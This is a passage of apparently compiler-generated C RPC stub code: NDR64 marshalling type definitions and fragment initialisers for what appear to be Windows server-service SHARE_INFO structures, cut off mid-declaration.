_NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag205_t;\nextern const __midl_frag205_t __midl_frag205;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag200_t;\nextern const __midl_frag200_t __midl_frag200;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag198_t;\nextern const __midl_frag198_t __midl_frag198;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_MEMPAD_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag190_t;\nextern const __midl_frag190_t __midl_frag190;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag188_t;\nextern const __midl_frag188_t __midl_frag188;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_MEMPAD_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n    } frag2;\n}\n__midl_frag183_t;\nextern const __midl_frag183_t __midl_frag183;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag178_t;\nextern const __midl_frag178_t __midl_frag178;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag172_t;\nextern const __midl_frag172_t __midl_frag172;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag171_t;\nextern const __midl_frag171_t __midl_frag171;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag167_t;\nextern const __midl_frag167_t __midl_frag167;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag159_t;\nextern const __midl_frag159_t __midl_frag159;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        struct _NDR64_NO_REPEAT_FORMAT frag10;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11;\n        struct _NDR64_POINTER_FORMAT frag12;\n        NDR64_FORMAT_CHAR frag13;\n    } frag2;\n}\n__midl_frag147_t;\nextern const __midl_frag147_t __midl_frag147;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n            struct _NDR64_POINTER_FORMAT frag6;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag7;\n            struct _NDR64_POINTER_FORMAT frag8;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag141_t;\nextern const __midl_frag141_t __midl_frag141;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag140_t;\nextern const __midl_frag140_t __midl_frag140;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag139_t;\nextern const __midl_frag139_t __midl_frag139;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag138_t;\nextern const __midl_frag138_t __midl_frag138;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag135_t;\nextern const __midl_frag135_t __midl_frag135;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag131_t;\nextern const __midl_frag131_t __midl_frag131;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag129_t;\nextern const __midl_frag129_t __midl_frag129;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag128_t;\nextern const __midl_frag128_t __midl_frag128;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag124_t;\nextern const __midl_frag124_t __midl_frag124;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n            struct _NDR64_POINTER_FORMAT frag6;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag119_t;\nextern const __midl_frag119_t __midl_frag119;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag118_t;\nextern const __midl_frag118_t __midl_frag118;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag109_t;\nextern const __midl_frag109_t __midl_frag109;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag108_t;\nextern const __midl_frag108_t __midl_frag108;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag106_t;\nextern const __midl_frag106_t __midl_frag106;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag101_t;\nextern const __midl_frag101_t __midl_frag101;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag100_t;\nextern const __midl_frag100_t __midl_frag100;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag99_t;\nextern const __midl_frag99_t __midl_frag99;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag95_t;\nextern const __midl_frag95_t __midl_frag95;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag81_t;\nextern const __midl_frag81_t __midl_frag81;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag80_t;\nextern const __midl_frag80_t __midl_frag80;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag78_t;\nextern const __midl_frag78_t __midl_frag78;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag77_t;\nextern const __midl_frag77_t __midl_frag77;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag72_t;\nextern const __midl_frag72_t __midl_frag72;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag65_t;\nextern const __midl_frag65_t __midl_frag65;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag64_t;\nextern const __midl_frag64_t __midl_frag64;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n    } frag2;\n}\n__midl_frag61_t;\nextern const __midl_frag61_t __midl_frag61;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag58_t;\nextern const __midl_frag58_t __midl_frag58;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag57_t;\nextern const __midl_frag57_t __midl_frag57;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag56_t;\nextern const __midl_frag56_t __midl_frag56;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag53_t;\nextern const __midl_frag53_t __midl_frag53;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag52_t;\nextern const __midl_frag52_t __midl_frag52;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag51_t;\nextern const __midl_frag51_t __midl_frag51;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag48_t;\nextern const __midl_frag48_t __midl_frag48;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag47_t;\nextern const __midl_frag47_t __midl_frag47;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag33_t;\nextern const __midl_frag33_t __midl_frag33;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag29_t;\nextern const __midl_frag29_t __midl_frag29;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag27_t;\nextern const __midl_frag27_t __midl_frag27;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag26_t;\nextern const __midl_frag26_t __midl_frag26;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag25_t;\nextern const __midl_frag25_t __midl_frag25;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag17_t;\nextern const __midl_frag17_t __midl_frag17;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag16_t;\nextern const __midl_frag16_t __midl_frag16;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag15_t;\nextern const __midl_frag15_t __midl_frag15;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag10_t;\nextern const __midl_frag10_t __midl_frag10;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag9_t;\nextern const __midl_frag9_t __midl_frag9;\n\ntypedef \nNDR64_FORMAT_UINT32\n__midl_frag1_t;\nextern const __midl_frag1_t __midl_frag1;\n\nstatic const __midl_frag928_t __midl_frag928 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag927_t __midl_frag927 =\n{ \n/* *_SHARE_INFO_503_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag218\n};\n\nstatic const __midl_frag926_t __midl_frag926 =\n{ \n/* *_SHARE_INFO_501 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag925_t __midl_frag925 =\n{ \n/* *_SHARE_INFO_1005 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag211\n};\n\nstatic const __midl_frag924_t __midl_frag924 =\n{ \n/* *_SHARE_INFO_1501_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag205\n};\n\nstatic const __midl_frag922_t __midl_frag922 =\n{ \n/* *_SHARE_INFO_1004 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag200\n};\n\nstatic const __midl_frag921_t __midl_frag921 =\n{ \n/* *_SHARE_INFO_502_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag190\n};\n\nstatic const __midl_frag920_t __midl_frag920 =\n{ \n/* *_SHARE_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag183\n};\n\nstatic const __midl_frag919_t __midl_frag919 =\n{ \n/* *_SHARE_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    